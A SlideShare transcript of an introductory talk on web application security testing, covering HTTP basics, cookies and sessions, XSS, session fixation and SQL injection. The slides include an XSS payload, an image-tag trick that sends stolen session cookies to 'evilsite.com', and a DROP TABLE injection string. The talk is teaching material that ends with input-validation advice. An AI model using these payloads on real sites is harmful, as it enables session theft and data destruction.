SlideShare a Scribd company logo
1 of 180
Fundamentals of web
application security &
   security testing
         t0m <bobtfish@bobtfish.net>
Who are you?
• Open source hacker
• github.com/bobtfish/
• Perl guy (sorry) - 160 CPAN modules
• Core team for Catalyst and Plack web
  frameworks.
• Ex professional security tester / R&D
This talk
This talk
• ~ 1h long
This talk
• ~ 1h long
• Covers the very basics
 • HTTP
 • Host headers
 • Cookies
This talk
• ~ 1h long
• Covers the very basics
 • HTTP
 • Host headers
 • Cookies
• Tools
 • Paros / Charles / etc
• Sessions
 • Session fixation attacks
• Sessions
 • Session fixation attacks
• XSS (General HTML injection)
 • How to test
 • How to exploit
• Sessions
 • Session fixation attacks
• XSS (General HTML injection)
 • How to test
 • How to exploit
• SQL Injection
• NOT comprehensive.
• NOT comprehensive.
• JUST the basics.
You don’t need to be a
     programmer
You don’t need to be a
     programmer

• I’m going to assume you know a bit about
  the internet
You don’t need to be a
     programmer

• I’m going to assume you know a bit about
  the internet
• And that you’ve at least seen HTML before.
Workshop on Sunday
Workshop on Sunday

• No schedule - made by you!
Workshop on Sunday

• No schedule - made by you!
Workshop on Sunday

• No schedule - made by you!

• Deeper and more practical discussion
HTML
HTML
• The markup format that web pages are
  written in.
HTML
• The markup format that web pages are
  written in.
• I’m just assuming you all know the basics
HTML
• The markup format that web pages are
  written in.
• I’m just assuming you all know the basics
• Sorry if you don’t ;P
HTML
• The markup format that web pages are
  written in.
• I’m just assuming you all know the basics
• Sorry if you don’t ;P
• Can almost always be sloppy - browser
  tries to do the right thing.
HTTP - The very basics
HTTP - The very basics
• HTTP goes over TCP/IP
HTTP - The very basics
• HTTP goes over TCP/IP
 • Reliable, ordered
HTTP - The very basics
• HTTP goes over TCP/IP
 • Reliable, ordered
 • Host and port
HTTP - The very basics
• HTTP goes over TCP/IP
 • Reliable, ordered
 • Host and port
• Request / Response
HTTP - The very basics
• HTTP goes over TCP/IP
 • Reliable, ordered
 • Host and port
• Request / Response
 • URL
HTTP - The very basics
• HTTP goes over TCP/IP
 • Reliable, ordered
 • Host and port
• Request / Response
 • URL
 • Method
Request / Response
Request / Response

• You ask the sever for some data
Request / Response

• You ask the sever for some data
• It does some work
Request / Response

• You ask the sever for some data
• It does some work
• And serves you a response, possibly
  including data, called a ‘body’
Dynamic
Dynamic

• The response could just be a file on disc
Dynamic

• The response could just be a file on disc
• HTML, image, etc
Dynamic

• The response could just be a file on disc
• HTML, image, etc
• We’re interested about when it’s dynamic -
  i.e. when your input changes the HTML
  output.
GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 29 Aug 2012 21:47:59 GMT
Server: Apache
Last-Modified: Wed, 27 Jul 2011 10:18:21 GMT
ETag: "1c888b-0-4a90a5e239540"
Accept-Ranges: bytes
Content-Length: 0
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
GET / HTTP/1.0
GET / HTTP/1.0

• Simplest possible HTTP request
GET / HTTP/1.0

• Simplest possible HTTP request
• Method - GET
GET / HTTP/1.0

• Simplest possible HTTP request
• Method - GET
• URL /
GET / HTTP/1.0

• Simplest possible HTTP request
• Method - GET
• URL /
• HTTP version
GET / HTTP/1.0

• Simplest possible HTTP request
• Method - GET
• URL /
• HTTP version
• Followed by rnrn
GET / HTTP/1.0

• Headers optional after first line
GET / HTTP/1.0

• Headers optional after first line
• Body can be supplied after rnrn if you
  specify a non-zero content length
GET / HTTP/1.0

• Headers optional after first line
• Body can be supplied after rnrn if you
  specify a non-zero content length
• There will be examples of this later
HTTP/1.1 200 OK
HTTP/1.1 200 OK
• Always the first line of the response
HTTP/1.1 200 OK
• Always the first line of the response
• We asked for 1.0, got 1.1 back
HTTP/1.1 200 OK
• Always the first line of the response
• We asked for 1.0, got 1.1 back
• 200 is response code.
 • 2xx - Success
 • 3xx - Redirect
 • 4xx - User error
 • 5xx - Server error
Date: Wed, 29 Aug 2012
    21:47:59 GMT

• Other headers now follow. All in format:
  Key:Value
• Date: RFC822
• Optional
Server: Apache

• Sometimes has exact versions and
  extensions
• Easy to lie
• Optional
Last-Modified: Wed, 27
Jul 2011 10:18:21 GMT

• Used for caching (maybe)
• Optional
ETag:
"1c888b-0-4a90a5e239540"


• Used for caching (maybe)
• Optional
Accept-Ranges: bytes

• ‘Partial GET’
• Ask for a byte range in the file
• Get back just that part
• Used by ‘download managers’ to resume
• Optional
Content-Length: 0

• Mandatory!
• Specifies how long the body is
• Can be 0
Vary: Accept-Encoding

• For caching
 • What header fields mean a different
    version of the document
 • E.g. language detection
• Optional
Connection: close

• Server is going to drop the connection, you
  have to reconnect.
• Possible to keep the connection persistent,
  if you ask for it
Content-Type:
           text/html

• How the browser should interpret the
  body
• Mandatory for documents with a body
HTTP 1.1


• Adds a mandatory Host header to the
  request
• Allows > 1 web site per IP address
GET / HTTP/1.1
Host: goatse.co.uk

HTTP/1.1 200 OK
Date: Wed, 29 Aug 2012 21:49:49 GMT
Server: Apache
Last-Modified: Wed, 27 Jul 2011 10:18:21 GMT
ETag: "1c888b-0-4a90a5e239540"
Accept-Ranges: bytes
Content-Length: 0
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Sending data to the
      server
Sending data to the
         server

• Encode it into the URI
Sending data to the
         server

• Encode it into the URI
 • /with/a/path
Sending data to the
         server

• Encode it into the URI
 • /with/a/path
 • /?or=parameters
POST
POST
• Used to send data back to the server
POST
• Used to send data back to the server
• Content-Type: application/x-www-form-
  urlencoded
POST
• Used to send data back to the server
• Content-Type: application/x-www-form-
  urlencoded
• Has a Content-Length, and a body
POST
• Used to send data back to the server
• Content-Type: application/x-www-form-
  urlencoded
• Has a Content-Length, and a body
• Data is encoded like this:
  foo=bar&foo2=baz
POST
POST / HTTP/1.1
Host: www.example.com
Content-Length: 17
Content-Type: application/x-www-form-urlencoded

foo=bar&foo2=quux
Forms
• HTML forms are the primary means of
  getting user data to the server
• Data is in the body, not the URL, so they
  don’t get saved in bookmarks
• <form> tag
• <input> tag
Ok - basics covered!
Ok - basics covered!

• Phew!
Ok - basics covered!

• Phew!
• Lets put all this stuff together - into an
  application.
Ok - basics covered!

• Phew!
• Lets put all this stuff together - into an
  application.
• And then hack it.
Simplest possible app
<html>
Data is: <form>
<input name=”foo” value=”<?php echo
$_GET['foo'] ?>” />
<input type=”submit” />
</form>
</html>
http://server/test.php?
        foo=foo
FAIL
FAIL
• Did you spot the epic fail?
FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”
FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”
• Golden rule - never ever accept input
  without validating it’s sane
FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”
• Golden rule - never ever accept input
  without validating it’s sane
• Golden rule - never ever output anything
  that may have come from external input
  without encoding it
WHY?
WHY?
• You can send: ?foo="><blink>Foo<
  %2Fblink>
WHY?
• You can send: ?foo="><blink>Foo<
  %2Fblink>
• Comes out as: <input name="foo"
  value=""><blink>Foo</blink>
WHY?
• You can send: ?foo="><blink>Foo<
  %2Fblink>
• Comes out as: <input name="foo"
  value=""><blink>Foo</blink>
• You just added HTML to the document -
  fail!
Javascript
Javascript

• Is where it all goes really wrong
Javascript

• Is where it all goes really wrong
• Can change or rewrite the page
Javascript

• Is where it all goes really wrong
• Can change or rewrite the page
• Can be inserted inline into HTML
Javascript

• Is where it all goes really wrong
• Can change or rewrite the page
• Can be inserted inline into HTML
• foo="><script>document.removeChild(doc
  ument.getElementsByTagName('html')[0])<
  %2Fscript>
Bye bye page!
Less simple example
Less simple example

• Add data storage
Less simple example

• Add data storage
• E.g. Message board multiple people can
  look at
Less simple example

• Add data storage
• E.g. Message board multiple people can
  look at
• Doom!
Less simple example

• Add data storage
• E.g. Message board multiple people can
  look at
• Doom!
• Or at least vandalism
More theory
More theory

• Sorry, but it’s necessary
More theory

• Sorry, but it’s necessary
• People’s credit card numbers are behind
  login pages
More theory

• Sorry, but it’s necessary
• People’s credit card numbers are behind
  login pages
• So we have to understand how logins work
  to steal them
Cookies
Cookies
Cookies


Not like that!
Cookies
Cookies


 Or that!
Cookies
Cookies


Definitely not!
Set-Cookie
Set-Cookie

• A request header
Set-Cookie

• A request header
• Set-Cookie: foo=bar
Set-Cookie

• A request header
• Set-Cookie: foo=bar
• Set-Cookie: foo=bar; expires=Thu, 01-
  Jan-1970 00:01:40 GMT; path=/;
  domain=example.net
Affects subsequent
       requests


Browser returns “Cookie: foo=bar” header
Sessions
Sessions

• Hand each visitor a random session token,
  identify them in future
Sessions

• Hand each visitor a random session token,
  identify them in future
• Login credentials only transmitted once
Sessions

• Hand each visitor a random session token,
  identify them in future
• Login credentials only transmitted once
• Allows login to be SSL (and rest of site not)
Sessions
Sessions


• Shared secret
Sessions


• Shared secret
• If it stops being a secret, you lose!
Stealing cookies
Stealing cookies
• Can get cookie data from javascript
Stealing cookies
• Can get cookie data from javascript
• If we find an HTML injection vulnerability,
  we can run code that grabs the cookie
Stealing cookies
• Can get cookie data from javascript
• If we find an HTML injection vulnerability,
  we can run code that grabs the cookie
• “Same origin policy” - cannot transmit
  elsewhere.
Stealing cookies
• Can get cookie data from javascript
• If we find an HTML injection vulnerability,
  we can run code that grabs the cookie
• “Same origin policy” - cannot transmit
  elsewhere.
• Cheat! Add content to the document.
<img src=”http://evilsite.com/?data=here” />
Lets step through that
Lets step through that
• Message board site gives users a cookie
  when they login
Lets step through that
• Message board site gives users a cookie
  when they login
• Cookie contains session token
Lets step through that
• Message board site gives users a cookie
  when they login
• Cookie contains session token
• You post an evil message containing
  Javascript
Lets step through that
• Message board site gives users a cookie
  when they login
• Cookie contains session token
• You post an evil message containing
  Javascript
• Other users view your message
Lets step through that
Lets step through that
• Other user’s browsers execute your
  javascript
Lets step through that
• Other user’s browsers execute your
  javascript
• It grabs their cookie
Lets step through that
• Other user’s browsers execute your
  javascript
• It grabs their cookie
• Adds to their page: <img src=”http://
  evilsite.com/?data=cookie_data” />
Lets step through that
• Other user’s browsers execute your
  javascript
• It grabs their cookie
• Adds to their page: <img src=”http://
  evilsite.com/?data=cookie_data” />
• Users browser tries to download image
Lets step through that
Lets step through that
• evilsite.com records the cookie
Lets step through that
• evilsite.com records the cookie
• evilsite.com serves a 1px x 1px transparent
  gif
Lets step through that
• evilsite.com records the cookie
• evilsite.com serves a 1px x 1px transparent
  gif
• I can now post messages as any (still logged
  in) user who viewed my message.
Lets step through that
• evilsite.com records the cookie
• evilsite.com serves a 1px x 1px transparent
  gif
• I can now post messages as any (still logged
  in) user who viewed my message.
• Having the users’s cookie allows you to
  become the user
Did you notice the
    handwave?
Did you notice the
       handwave?
• I need a way to get your cookie into my
  browser
Did you notice the
       handwave?
• I need a way to get your cookie into my
  browser
• This is easy to do - find a proxy library in
  your favourite programming language ;P
Did you notice the
       handwave?
• I need a way to get your cookie into my
  browser
• This is easy to do - find a proxy library in
  your favourite programming language ;P
• Or tools you can just download
Session fixation
Session fixation
• Quite a common bug
Session fixation
• Quite a common bug
• Allows you to specify the session ID you’d
  like
Session fixation
• Quite a common bug
• Allows you to specify the session ID you’d
  like
• Useful for abusing XSS elsewhere
Session fixation
• Quite a common bug
• Allows you to specify the session ID you’d
  like
• Useful for abusing XSS elsewhere
• Also good to steal logins without needing
  XSS.
Session fixation
• Quite a common bug
• Allows you to specify the session ID you’d
  like
• Useful for abusing XSS elsewhere
• Also good to steal logins without needing
  XSS.
• /?sessionID=XXXXXXXXXXX
Tools
Tools - Paros


• http://www.parosproxy.org/
Tools - Charles


• OSX only
• Costs money (free trial)
Tools - Firebug
Tools - Firebug

• Firefox addon
Tools - Firebug

• Firefox addon
• Allows you to debug javascript and HTML
Tools - Firebug

• Firefox addon
• Allows you to debug javascript and HTML
• Useful for getting exploits working in
  combination with another tool
SQL Injection
SQL Injection

• SQL used by databases, for data storage
SQL Injection

• SQL used by databases, for data storage
• Tables, with columns and rows
SQL Injection

• SQL used by databases, for data storage
• Tables, with columns and rows
• SELECT id, name FROM users WHERE
  name = ‘fred’ AND password = ‘example’;
SQL Injection

• SQL used by databases, for data storage
• Tables, with columns and rows
• SELECT id, name FROM users WHERE
  name = ‘fred’ AND password = ‘example’;
• SAME ISSUE AS BEFORE
SQL Injection
SELECT id, name FROM users WHERE name
= ‘Robert'); DROP TABLE Students;--’ AND
password = ‘example’;
First query.
No password needed!

SELECT id, name FROM users WHERE name
= ‘Robert'); DROP TABLE Students;--’ AND
password = ‘example’;
Second query.
     Ruins your day!

SELECT id, name FROM users WHERE name
= ‘Robert'); DROP TABLE Students;--’ AND
password = ‘example’;
Comment - ignored!


SELECT id, name FROM users WHERE name
= ‘Robert'); DROP TABLE Students;--’ AND
password = ‘example’;
Golden Rules
Golden Rules

• Never ever accept input without validating
  it’s sane.
Golden Rules

• Never ever accept input without validating
  it’s sane.
• Never ever output anything that may have
  come from external input without encoding
  it.
Thanks for listening!

• Hope that wasn’t too boring :)
• Feel free to come chat to me.
• Or mail me: bobtfish@bobtfish.net
• Or grab me on irc: t0m on Freenode
• More in-depth workshop on Sunday!

More Related Content

What's hot

Class 1 - World Wide Web Introduction
Class 1 - World Wide Web IntroductionClass 1 - World Wide Web Introduction
Class 1 - World Wide Web IntroductionAhmed Swilam
 
Basics of HTML5 for Phonegap
Basics of HTML5 for PhonegapBasics of HTML5 for Phonegap
Basics of HTML5 for PhonegapRakesh Jha
 
WordPress CLI in-depth
WordPress CLI in-depthWordPress CLI in-depth
WordPress CLI in-depthSanjay Willie
 
NotaCon 2011 - Networking for Pentesters
NotaCon 2011 - Networking for PentestersNotaCon 2011 - Networking for Pentesters
NotaCon 2011 - Networking for PentestersRob Fuller
 
Day 7 - Make it Fast
Day 7 - Make it FastDay 7 - Make it Fast
Day 7 - Make it FastBarry Jones
 
Perl in the Internet of Things
Perl in the Internet of ThingsPerl in the Internet of Things
Perl in the Internet of ThingsDave Cross
 
HTML Training Course in Persian
HTML Training Course in PersianHTML Training Course in Persian
HTML Training Course in PersianAbbas Naderi
 
Concepts for Operating a Web Site
Concepts for Operating a Web SiteConcepts for Operating a Web Site
Concepts for Operating a Web SiteCan Burak Çilingir
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariJoseph Scott
 
CakePHP 2.0 - PHP Matsuri 2011
CakePHP 2.0 - PHP Matsuri 2011CakePHP 2.0 - PHP Matsuri 2011
CakePHP 2.0 - PHP Matsuri 2011Graham Weldon
 
Web Development in Perl
Web Development in PerlWeb Development in Perl
Web Development in PerlNaveen Gupta
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakesguest2821a2
 
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019Viktor Todorov
 
Building APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthBuilding APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthFilip Ekberg
 
Re-thinking Performance tuning with HTTP2
Re-thinking Performance tuning with HTTP2Re-thinking Performance tuning with HTTP2
Re-thinking Performance tuning with HTTP2Vinci Rufus
 
BTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesBTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesJonathan Klein
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakeskuza55
 
Domino Security - not knowing is not an option (2016 edition)
Domino Security - not knowing is not an option (2016 edition)Domino Security - not knowing is not an option (2016 edition)
Domino Security - not knowing is not an option (2016 edition)Darren Duke
 

What's hot (20)

CORS and (in)security
CORS and (in)securityCORS and (in)security
CORS and (in)security
 
Class 1 - World Wide Web Introduction
Class 1 - World Wide Web IntroductionClass 1 - World Wide Web Introduction
Class 1 - World Wide Web Introduction
 
Basics of HTML5 for Phonegap
Basics of HTML5 for PhonegapBasics of HTML5 for Phonegap
Basics of HTML5 for Phonegap
 
WordPress CLI in-depth
WordPress CLI in-depthWordPress CLI in-depth
WordPress CLI in-depth
 
NotaCon 2011 - Networking for Pentesters
NotaCon 2011 - Networking for PentestersNotaCon 2011 - Networking for Pentesters
NotaCon 2011 - Networking for Pentesters
 
Day 7 - Make it Fast
Day 7 - Make it FastDay 7 - Make it Fast
Day 7 - Make it Fast
 
Perl in the Internet of Things
Perl in the Internet of ThingsPerl in the Internet of Things
Perl in the Internet of Things
 
HTML Training Course in Persian
HTML Training Course in PersianHTML Training Course in Persian
HTML Training Course in Persian
 
Concepts for Operating a Web Site
Concepts for Operating a Web SiteConcepts for Operating a Web Site
Concepts for Operating a Web Site
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
 
CakePHP 2.0 - PHP Matsuri 2011
CakePHP 2.0 - PHP Matsuri 2011CakePHP 2.0 - PHP Matsuri 2011
CakePHP 2.0 - PHP Matsuri 2011
 
Web Development in Perl
Web Development in PerlWeb Development in Perl
Web Development in Perl
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
 
Building APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthBuilding APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuth
 
Top ten-list
Top ten-listTop ten-list
Top ten-list
 
Re-thinking Performance tuning with HTTP2
Re-thinking Performance tuning with HTTP2Re-thinking Performance tuning with HTTP2
Re-thinking Performance tuning with HTTP2
 
BTV PHP - Building Fast Websites
BTV PHP - Building Fast WebsitesBTV PHP - Building Fast Websites
BTV PHP - Building Fast Websites
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
Domino Security - not knowing is not an option (2016 edition)
Domino Security - not knowing is not an option (2016 edition)Domino Security - not knowing is not an option (2016 edition)
Domino Security - not knowing is not an option (2016 edition)
 

Viewers also liked

Tendex - онлайн площадка для проведения электронных торгов
Tendex - онлайн площадка для проведения электронных торговTendex - онлайн площадка для проведения электронных торгов
Tendex - онлайн площадка для проведения электронных торговE-COM UA
 
欧赛斯外星人探秘嘉年华网络公关营销提案
欧赛斯外星人探秘嘉年华网络公关营销提案欧赛斯外星人探秘嘉年华网络公关营销提案
欧赛斯外星人探秘嘉年华网络公关营销提案qoolupeter
 
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006Froylan Angel Hernandez Ochoa
 
Social media strategies instead of tools
Social media strategies instead of toolsSocial media strategies instead of tools
Social media strategies instead of toolsViệt Long Plaza
 
Marketing using social media
Marketing using social mediaMarketing using social media
Marketing using social mediaHeather Hurley
 
Challenges Chemoinformatics Tool Contest Award Presentation
Challenges Chemoinformatics Tool Contest Award PresentationChallenges Chemoinformatics Tool Contest Award Presentation
Challenges Chemoinformatics Tool Contest Award Presentationmdpi_ch
 
"The worst code I ever wrote"
"The worst code I ever wrote""The worst code I ever wrote"
"The worst code I ever wrote"Tomas Doran
 
Hindustan Times HT Cafe- Cinema Promotes Pop Art
Hindustan Times HT Cafe- Cinema Promotes Pop ArtHindustan Times HT Cafe- Cinema Promotes Pop Art
Hindustan Times HT Cafe- Cinema Promotes Pop Artarchana jhangiani
 
TWI Summit Europe 2015 program
TWI Summit Europe 2015 program  TWI Summit Europe 2015 program
TWI Summit Europe 2015 program John Vellema
 
.NET Core Internals. O que é o .NET Platform Standard?
.NET Core Internals. O que é o .NET Platform Standard?.NET Core Internals. O que é o .NET Platform Standard?
.NET Core Internals. O que é o .NET Platform Standard?Victor Cavalcante
 
Wintry smoothie with grapefruits, pears and cashewnuts
Wintry smoothie with grapefruits, pears and cashewnutsWintry smoothie with grapefruits, pears and cashewnuts
Wintry smoothie with grapefruits, pears and cashewnutsTastymania
 
Sitting on the bench? Don't blame the recruiter
Sitting on the bench? Don't blame the recruiterSitting on the bench? Don't blame the recruiter
Sitting on the bench? Don't blame the recruiterStephanie Hain
 
Nutrition and Food Products
Nutrition and Food ProductsNutrition and Food Products
Nutrition and Food ProductsMay Wee
 
Delivering Happiness, The New Secret Ingredient by Sunny Grosso
Delivering Happiness, The New Secret Ingredient by Sunny GrossoDelivering Happiness, The New Secret Ingredient by Sunny Grosso
Delivering Happiness, The New Secret Ingredient by Sunny GrossoAudienceView
 
Run a Smart SaaS Company
Run a Smart SaaS CompanyRun a Smart SaaS Company
Run a Smart SaaS CompanyTotango
 
The long and winding road to chemical information
The long and winding road to chemical informationThe long and winding road to chemical information
The long and winding road to chemical informationEngelbert Zass
 

Viewers also liked (20)

Tendex - онлайн площадка для проведения электронных торгов
Tendex - онлайн площадка для проведения электронных торговTendex - онлайн площадка для проведения электронных торгов
Tendex - онлайн площадка для проведения электронных торгов
 
欧赛斯外星人探秘嘉年华网络公关营销提案
欧赛斯外星人探秘嘉年华网络公关营销提案欧赛斯外星人探秘嘉年华网络公关营销提案
欧赛斯外星人探秘嘉年华网络公关营销提案
 
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006
Evolucion de la deuda publica por entidad federativa desde 1993 hasta 2006
 
Social media strategies instead of tools
Social media strategies instead of toolsSocial media strategies instead of tools
Social media strategies instead of tools
 
Much ado about...documents
Much ado about...documentsMuch ado about...documents
Much ado about...documents
 
Marketing using social media
Marketing using social mediaMarketing using social media
Marketing using social media
 
Challenges Chemoinformatics Tool Contest Award Presentation
Challenges Chemoinformatics Tool Contest Award PresentationChallenges Chemoinformatics Tool Contest Award Presentation
Challenges Chemoinformatics Tool Contest Award Presentation
 
"The worst code I ever wrote"
"The worst code I ever wrote""The worst code I ever wrote"
"The worst code I ever wrote"
 
Hindustan Times HT Cafe- Cinema Promotes Pop Art
Hindustan Times HT Cafe- Cinema Promotes Pop ArtHindustan Times HT Cafe- Cinema Promotes Pop Art
Hindustan Times HT Cafe- Cinema Promotes Pop Art
 
TWI Summit Europe 2015 program
TWI Summit Europe 2015 program  TWI Summit Europe 2015 program
TWI Summit Europe 2015 program
 
.NET Core Internals. O que é o .NET Platform Standard?
.NET Core Internals. O que é o .NET Platform Standard?.NET Core Internals. O que é o .NET Platform Standard?
.NET Core Internals. O que é o .NET Platform Standard?
 
Wintry smoothie with grapefruits, pears and cashewnuts
Wintry smoothie with grapefruits, pears and cashewnutsWintry smoothie with grapefruits, pears and cashewnuts
Wintry smoothie with grapefruits, pears and cashewnuts
 
Bioclipse
BioclipseBioclipse
Bioclipse
 
Sitting on the bench? Don't blame the recruiter
Sitting on the bench? Don't blame the recruiterSitting on the bench? Don't blame the recruiter
Sitting on the bench? Don't blame the recruiter
 
Nash 2013 liliana
Nash 2013 lilianaNash 2013 liliana
Nash 2013 liliana
 
Nutrition and Food Products
Nutrition and Food ProductsNutrition and Food Products
Nutrition and Food Products
 
Delivering Happiness, The New Secret Ingredient by Sunny Grosso
Delivering Happiness, The New Secret Ingredient by Sunny GrossoDelivering Happiness, The New Secret Ingredient by Sunny Grosso
Delivering Happiness, The New Secret Ingredient by Sunny Grosso
 
Run a Smart SaaS Company
Run a Smart SaaS CompanyRun a Smart SaaS Company
Run a Smart SaaS Company
 
The long and winding road to chemical information
The long and winding road to chemical informationThe long and winding road to chemical information
The long and winding road to chemical information
 
TWI Summit 2013: TWI on a Global Scale
TWI Summit 2013: TWI on a Global Scale TWI Summit 2013: TWI on a Global Scale
TWI Summit 2013: TWI on a Global Scale
 

Similar to Webapp security testing

HTTP - The Protocol of Our Lives
HTTP - The Protocol of Our LivesHTTP - The Protocol of Our Lives
HTTP - The Protocol of Our LivesBrent Shaffer
 
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)Balazs Bucsay
 
Trick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsTrick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsBalazs Bucsay
 
Http - All you need to know
Http - All you need to knowHttp - All you need to know
Http - All you need to knowGökhan Şengün
 
Embracing HTTP in the era of API’s
Embracing HTTP in the era of API’sEmbracing HTTP in the era of API’s
Embracing HTTP in the era of API’sVisug
 
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)Balazs Bucsay
 
Modern Web Technologies — Jerusalem Web Professionals, January 2011
Modern Web Technologies — Jerusalem Web Professionals, January 2011Modern Web Technologies — Jerusalem Web Professionals, January 2011
Modern Web Technologies — Jerusalem Web Professionals, January 2011Reuven Lerner
 
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...Reuven Lerner
 
Dev traning 2016 intro to the web
Dev traning 2016   intro to the webDev traning 2016   intro to the web
Dev traning 2016 intro to the webSacheen Dhanjie
 
Html5 shubelal
Html5 shubelalHtml5 shubelal
Html5 shubelalShub
 
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)Balazs Bucsay
 
PHP language presentation
PHP language presentationPHP language presentation
PHP language presentationAnnujj Agrawaal
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakSoroush Dalili
 
XFLTReat: a new dimension in tunnelling
XFLTReat:  a new dimension in tunnellingXFLTReat:  a new dimension in tunnelling
XFLTReat: a new dimension in tunnellingShakacon
 
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)Balazs Bucsay
 
Web Services PHP Tutorial
Web Services PHP TutorialWeb Services PHP Tutorial
Web Services PHP TutorialLorna Mitchell
 

Similar to Webapp security testing (20)

HTTP - The Protocol of Our Lives
HTTP - The Protocol of Our LivesHTTP - The Protocol of Our Lives
HTTP - The Protocol of Our Lives
 
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
 
Trick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsTrick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The Things
 
Http - All you need to know
Http - All you need to knowHttp - All you need to know
Http - All you need to know
 
Embracing HTTP in the era of API’s
Embracing HTTP in the era of API’sEmbracing HTTP in the era of API’s
Embracing HTTP in the era of API’s
 
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
XFLTReaT: A New Dimension in Tunnelling (HITB GSEC 2017)
 
Modern Web Technologies — Jerusalem Web Professionals, January 2011
Modern Web Technologies — Jerusalem Web Professionals, January 2011Modern Web Technologies — Jerusalem Web Professionals, January 2011
Modern Web Technologies — Jerusalem Web Professionals, January 2011
 
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
 
Dev traning 2016 intro to the web
Dev traning 2016   intro to the webDev traning 2016   intro to the web
Dev traning 2016 intro to the web
 
Html5 shubelal
Html5 shubelalHtml5 shubelal
Html5 shubelal
 
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
 
Web Services Tutorial
Web Services TutorialWeb Services Tutorial
Web Services Tutorial
 
Web services tutorial
Web services tutorialWeb services tutorial
Web services tutorial
 
PHP language presentation
PHP language presentationPHP language presentation
PHP language presentation
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
